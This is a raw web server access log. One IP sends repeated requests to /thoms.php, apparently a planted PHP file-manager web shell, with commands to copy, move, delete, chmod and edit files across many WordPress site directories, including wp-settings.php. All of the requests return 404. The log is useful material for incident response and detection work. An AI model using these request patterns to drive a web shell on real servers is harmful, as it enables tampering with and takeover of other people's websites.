45.135.193.11 - - [11/Sep/2026:23:57:40 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=besth2o.com.tw%2Fwrapper-global HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&p=besth2o.com.tw%2Fwrapper-global" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:40 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=besth2o.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&p=besth2o.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:40 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=besth2o.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&p=besth2o.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:40 -0400] "GET /thoms.php?copy=bodbooks.com.tw&finish=1&p=broadweb.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&finish=1&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:40 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=broadweb.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&p=broadweb.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:40 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=broadweb.com.tw%2Fbridge-sample HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&p=broadweb.com.tw%2Fbridge-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:40 -0400] "GET /thoms.php?copy=bodbooks.com.tw&finish=1&move=1&p=broadweb.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&finish=1&move=1&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:40 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=broadweb.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&p=broadweb.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:40 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=broadweb.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&p=broadweb.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:40 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=broadweb.com.tw%2Fworker-profile HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&p=broadweb.com.tw%2Fworker-profile" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:40 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=broadweb.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&p=broadweb.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:40 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:41 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:41 -0400] "GET /thoms.php?del=bodbooks.com-20260912023809&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=bodbooks.com-20260912023809&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:41 -0400] "GET /thoms.php?p=bodbooks.com-20260912023809 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bodbooks.com-20260912023809" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:40 -0400] "GET /bodbooks.com-20260912023809/ HTTP/1.1" 404 12164 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:41 -0400] "GET /thoms.php?chmod=bodbooks.com-20260912023809&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=bodbooks.com-20260912023809&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:41 -0400] "GET /thoms.php?copy=bodbooks.com-20260912023809&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com-20260912023809&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:41 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-comments-post.php&p=bfl.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-comments-post.php&p=bfl.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:41 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-comments-post.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-comments-post.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:41 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-comments-post.php&p=bfl.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-comments-post.php&p=bfl.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:41 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-comments-post.php&p=bfl.com.tw%2Fqueue-failed HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-comments-post.php&p=bfl.com.tw%2Fqueue-failed" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:41 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-comments-post.php&finish=1&p=bfl.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-comments-post.php&finish=1&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:41 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-comments-post.php&p=bfl.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-comments-post.php&p=bfl.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:41 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-comments-post.php&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-comments-post.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:41 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-comments-post.php&finish=1&move=1&p=bfl.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-comments-post.php&finish=1&move=1&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:41 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-comments-post.php&p=bfl.com.tw%2Flegacy-checkpoint HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-comments-post.php&p=bfl.com.tw%2Flegacy-checkpoint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:41 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-comments-post.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-comments-post.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:42 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-comments-post.php&p=bfl.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-comments-post.php&p=bfl.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:42 -0400] "GET /thoms.php?edit=wp-settings.php&p=bfl.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=wp-settings.php&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:42 -0400] "GET /thoms.php?edit=wp-settings.php&env=ace&p=bfl.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=wp-settings.php&env=ace&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:42 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fcgi-bin&p=bfl.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fcgi-bin&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:42 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fcgi-bin&p=bioway88.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fcgi-bin&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:42 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fcgi-bin&p=upgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fcgi-bin&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:42 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fcgi-bin&p=upgrade-20260912023806 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fcgi-bin&p=upgrade-20260912023806" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:42 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fcgi-bin&p=wp-content-20260912023544 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fcgi-bin&p=wp-content-20260912023544" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:42 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fcgi-bin&p=biotaiwan.com-20260912023713 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fcgi-bin&p=biotaiwan.com-20260912023713" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:42 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fcgi-bin&finish=1&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fcgi-bin&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:42 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fcgi-bin&finish=1&move=1&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fcgi-bin&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:42 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fcgi-bin&p=besth2o.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fcgi-bin&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:42 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fcgi-bin&p=betcity.com-20260912023741 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fcgi-bin&p=betcity.com-20260912023741" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:42 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fcgi-bin&p=bestzyx.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fcgi-bin&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:42 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fcgi-bin&p=bodbooks.com-20260912023809 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fcgi-bin&p=bodbooks.com-20260912023809" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:42 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fcgi-bin&p=bogroup.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fcgi-bin&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:42 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fcgi-bin&p=booking-wise2.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fcgi-bin&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:43 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fcgi-bin&p=wp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fcgi-bin&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:43 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fcgi-bin&p=ba-guo.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fcgi-bin&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:43 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fcgi-bin&p=bfl.com-20260912023804 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fcgi-bin&p=bfl.com-20260912023804" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:43 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fcgi-bin&p=bodbooks.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fcgi-bin&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:43 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fcgi-bin&p=broadweb.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fcgi-bin&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:43 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fcgi-bin&p=cgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fcgi-bin&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:43 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fcgi-bin&p=ba-guo.com-20260912023525 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fcgi-bin&p=ba-guo.com-20260912023525" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:43 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fcgi-bin&p=bossini.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fcgi-bin&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:43 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fcgi-bin&p=bestjudy.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fcgi-bin&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:43 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fcgi-bin&p=betcity.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fcgi-bin&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:43 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fcgi-bin&p=bft.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fcgi-bin&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:43 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fcgi-bin&p=wordpress-6.6.2-zh_TW HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fcgi-bin&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:43 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fcgi-bin&p=biotaiwan.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fcgi-bin&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:43 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fcgi-bin&p=beauty-dental.com-20260912023807 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fcgi-bin&p=beauty-dental.com-20260912023807" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:43 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fcgi-bin&p=beauty-dental.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fcgi-bin&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:43 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fcgi-bin&p=besth2o.com-20260912023731 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fcgi-bin&p=besth2o.com-20260912023731" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:44 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fcgi-bin&p=big-wife.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fcgi-bin&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:44 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fcgi-bin&p=broadweb.com-20260912023716 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fcgi-bin&p=broadweb.com-20260912023716" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:44 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fcgi-bin&p=wordpress-6.6-20260912023539 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fcgi-bin&p=wordpress-6.6-20260912023539" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:44 -0400] "GET /thoms.php?edit=thoms.php&env=ace&p=bfl.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=thoms.php&env=ace&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:44 -0400] "GET /thoms.php?edit=thoms.php&p=bfl.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=thoms.php&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:44 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-links-opml.php&finish=1&move=1&p=bfl.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-links-opml.php&finish=1&move=1&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:44 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-links-opml.php&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-links-opml.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:44 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-links-opml.php&p=bfl.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-links-opml.php&p=bfl.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
